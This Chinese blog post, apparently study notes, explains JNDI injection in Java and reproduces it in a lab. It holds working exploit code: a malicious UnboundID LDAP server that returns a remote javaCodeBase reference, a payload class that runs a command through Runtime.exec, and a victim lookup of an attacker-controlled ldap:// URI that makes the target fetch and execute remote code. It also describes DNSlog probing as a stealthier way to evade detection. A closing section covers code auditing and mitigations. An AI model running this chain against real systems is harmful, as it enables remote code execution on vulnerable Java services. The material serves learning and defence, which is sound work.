JNDI注入漏洞的原理和复现

本文详细介绍了JNDI(Java命名和目录接口)的概念、服务提供者(包括RMI、LDAP等)以及lookup函数的工作原理。重点讲解了JNDI注入漏洞的攻击流程,以LDAP、DNS和RMI方式复现,并演示了如何利用这些漏洞进行攻击和防御措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

这一篇文章是我的学习笔记,请各位批评指正,感谢

JNDI的概念

JNDI(Java Naming and Directory Interface),即Java命名和目录接口,它用于给Java应用程序提供命名和目录访问。举例来说,在生产环境当中,Java需要通过JDBC来实现与数据库之间的连接,在连接之前,Java需要获取数据库的访问链接(如:jdbc:mysql://IP地址:端口?user=xx&password=xx)。而这个链接因环境和需求的不同,可能发生多次的变化,所以需要一个目录来提供多个访问链接,使得Java程序能够动态地访问不同的数据库。这时,JNDI就派上了用场。JNDI可以将多个对象绑定至JNDI当中的Context对象当中,以类似文件目录的结构进行存储,当Java程序需要获取链接对象时,只需要调用JNDI的lookup函数即可在此目录结构中找到指定的对象。

JNDI的服务提供者

JNDI的服务提供者主要有以下几种:
RMI(Java远程方法调用)
LDAP(轻量级目录访问协议)
CORBA(公共对象请求代理体系结构)
DNS(域名服务)

JNDI中lookup函数的工作原理

某Tomcat服务器内JNDI资源文件中的内容:

 
<?xml version="1.0" encoding="UTF-8"?>
 
<Context>
    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
 
    <!-- Uncomment this to disable session persistence across Tomcat restarts -->
    <!--<Manager pathname="" />-->
 
    <Resource name="jdbc/mysql" auth="Container"
              type="javax.sql.DataSource" driverClassName="com.mysql.jdbc.Driver"
              url="jdbc:mysql://127.0.0.1:3306/task"
              username="root" password="123456" maxTotal="20" maxIdle="10"
              maxWaitMillis="-1"/>
</Context>

Servlet获取请求后,将参数封装并用此方法查询数据库:

public class Test{
	public static String doSearch(String name){
		try{
			Context ctx=new InitialContext("资源文件");
			DataSource ds=(DataSource)ctx.lookup("jdbc/mysql"); //通过name属性的值找到相应对象,并返回一个Object对象,向下强转为DataSource
			Connection con=ds.getConnection();	//成功获取到了Connection对象
			...省略...
			return "查询结果";
		}catch(Exception e){
			//pass
		}
	}
}
lookup函数在其中所做的操作:
1.传入名称参数:程序员向lookup中传入一个字符串参数,这个参数可以使用多种协议,比如LDAP或RMI
2.中间层处理:lookup函数会截取传入参数中代表协议的字符串子串,然后根据协议的不同进行不同处理
3.返回结果:一旦匹配到资源和服务,lookup函数就会返回一个DataSource对象,可以通过此DataSource对象提供的接口来实现各种操作

JNDI注入漏洞的攻击流程

前置条件:
1.传入lookup函数的参数可控
2.黑客需要部署一个LDAP或RMI服务器和一个HTTP服务器
3.黑客将被攻击端需要执行的代码编译为.class文件后部署在HTTP服务器中
4.被攻击端可以访问到黑客部署的任何服务器
攻击流程:
1.黑客向lookup函数中注入一段uri,如:ldap://192.168.10.2:7777/Example
2.被攻击端的Java程序访问192.168.10.2主机上7777号端口的LDAP服务,并且携带参数Example
3.LDAP服务器返回一个HTTP地址,被攻击端的Java程序访问HTTP服务器获取Payload并执行

以LDAP的方式复现注入漏洞

LDAP服务器:192.168.10.2:7777
HTTP服务器:192.168.10.3:80(可以使用PHPstudy部署)

首先,部署LDAP服务器,这里可以使用LDAPSDK编写一个简单的服务器:

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.ldap.sdk.Entry;

public class LdapServer {
	private static final String LDAP_BASE="dc=example,dc=com";
	
	public static void main(String[] argsx) {
		String[] args=new String[] {"http://192.168.1.36/#Example"};	//要返回的HTTP地址,#号之后是部署在HTTP服务器上的Payload资源名称(Example.class,这里的“.class”省略,因为在后面会进行拼接)
		
		int port=7777;	//LDAP服务器监听端口
		try {
			InMemoryDirectoryServerConfig config=new InMemoryDirectoryServerConfig(LDAP_BASE);
			config.setListenerConfigs(
					new InMemoryListenerConfig(
							"listen",
							InetAddress.getByName("0.0.0.0"),
							port,
							ServerSocketFactory.getDefault(),
							SocketFactory.getDefault(),
							(SSLSocketFactory)SSLSocketFactory.getDefault()	
					)
			);
			config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
			InMemoryDirectoryServer ds=new InMemoryDirectoryServer(config);
			System.out.println("Listening on 0.0.0.0");
			ds.startListening();
		}catch(Exception e) {
			e.printStackTrace();
		}
	}
	
	private static class OperationInterceptor extends InMemoryOperationInterceptor{
		
		private URL codebase;
		
		public OperationInterceptor(URL cb) {this.codebase=cb;}
		
		public void processSearchResult(InMemoryInterceptedSearchResult result) {
			String base=result.getRequest().getBaseDN();
			Entry e=new Entry(base);
			try {
				sendResult(result, base, e);
			}catch(Exception e1) {
				e1.printStackTrace();
			}
		}
		
		protected void sendResult(InMemoryInterceptedSearchResult result,String base, Entry e) throws LDAPException,MalformedURLException{
			URL turl=new URL(this.codebase,this.codebase.getRef().replace('.', '/').concat(".class"));
			System.out.println("Send LDAP reference result for" + base + "redirecting to" + turl);
			e.addAttribute("javaClassName","foo");
			String cbstring=this.codebase.toString();
			int refPos=cbstring.indexOf('#');
			if(refPos>0) {
				cbstring=cbstring.substring(0,refPos);
			}
			e.addAttribute("javaCodeBase",cbstring);
			e.addAttribute("objectClass","javaNamingReference");
			e.addAttribute("javaFactory",this.codebase.getRef());
			result.sendSearchEntry(e);
			result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
		}
		
	}
	
}

在HTTP服务器上部署的payload资源,即“Example.class”的内容:请注意,编译java文件的JDK版本应与被攻击端的JDK版本兼容

public class Example{
	static{
		try{
			Runtime.getRuntime().exec("calc"); //弹出计算器
		}catch(Exception e){

		}
	}
}

被攻击端的JNDI程序模拟:

import javax.naming.*;	//引入JNDI支持包

public class Test{
	public static void main(String args[]){
		InitialContext ctx=new InitialContext();
		ctx.lookup("ldap://192.168.10.2:7777/Example"); //假设传入其中的参数可控,则此服务器会访问LDAP服务器
	}
}

以DNS的方式复现注入漏洞

以DNS的方式复现注入漏洞,本质上就是使用DNSlog的方式进行漏洞探测,这样做的好处是可以有效隐藏LDAP或RMI服务器的地址,并且由于DNS的数据包较小,容易躲过探测,更加隐蔽

DNSlog平台:https://dnslog.org/

在DNSlog平台中,生成一个唯一的子域名,然后将其作为参数传递到被攻击端的lookup函数中(dns://xxxxx.dnslog.org)
待程序执行完毕后,在DNSlog平台进行刷新,如果有查询记录出现则说明被攻击端存在JNDI注入漏洞

以RMI的方式复现注入漏洞

回头写

### 关于JNDI注入漏洞的代码审计 #### 审计方法概述 针对JNDI注入漏洞,有效的代码审计应当关注应用程序如何处理外部输入以及这些输入是否安全地传递给JNDI lookup操作。具体来说,在审查过程中要特别注意任何地方调用了`InitialContext.lookup()`或其他涉及动态资源定位的方法,并仔细检查传入参数是否受到充分验证清理[^1]。 #### 常见风险点识别 - **未受控的数据流**:当程序允许不受信任方控制的部分参与构建用于查找命名对象的名字字符串时,则可能存在潜在的风险。 - **第三方库的影响**:某些框架或组件可能会间接引入此类问题,比如通过配置文件加载机制自动解析并应用环境变量中的设置来初始化内部使用的数据源等服务实例[^3]。 #### 使用静态分析工具辅助检测 为了提高效率并减少人为疏忽带来的遗漏,可以借助专门设计用来扫描Java项目中可能存在的安全隐患的专业软件来进行初步筛查: - SonarQube配合自定义规则集能够很好地适应不同企业的特定需求; - FindBugs及其后续者SpotBugs也提供了若干现成插件支持发现与防止多种类型的编程错误,包括但不限于不恰当的对象反序列化、危险函数调用等问题; - Checkmarx CxSAST则更侧重于从开发周期早期介入帮助企业建立完善的应用安全性保障体系。 除了上述提到的产品之外还有许多其他优秀的开源或者商业解决方案可供选择,实际选型应综合考虑成本效益比等因素做出决策。 ```java // 示例:避免直接使用不可信来源构造JNDI名称 String userInput = request.getParameter("db"); if (isValidDatabaseName(userInput)) { // 自定义合法性检验逻辑 Context ctx = new InitialContext(); DataSource ds = (DataSource)ctx.lookup("jdbc/" + sanitizeForJndi(userInput)); // 对输入做进一步净化处理 } ``` #### 实施最佳实践建议 - 尽量采用依赖注入的方式获取所需的服务接口实现而不是自行拼接URL去检索它们; - 如果确实有必要基于运行时条件决定目标地址的话,请务必先经过严格的白名单匹配再继续下一步动作; - 配合Web服务器层面的安全策略限制对外部网络请求发起权限,从而降低攻击面暴露程度; - 及时更新所依赖的所有包至最新稳定版以获得官方发布的修复补丁[^2]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值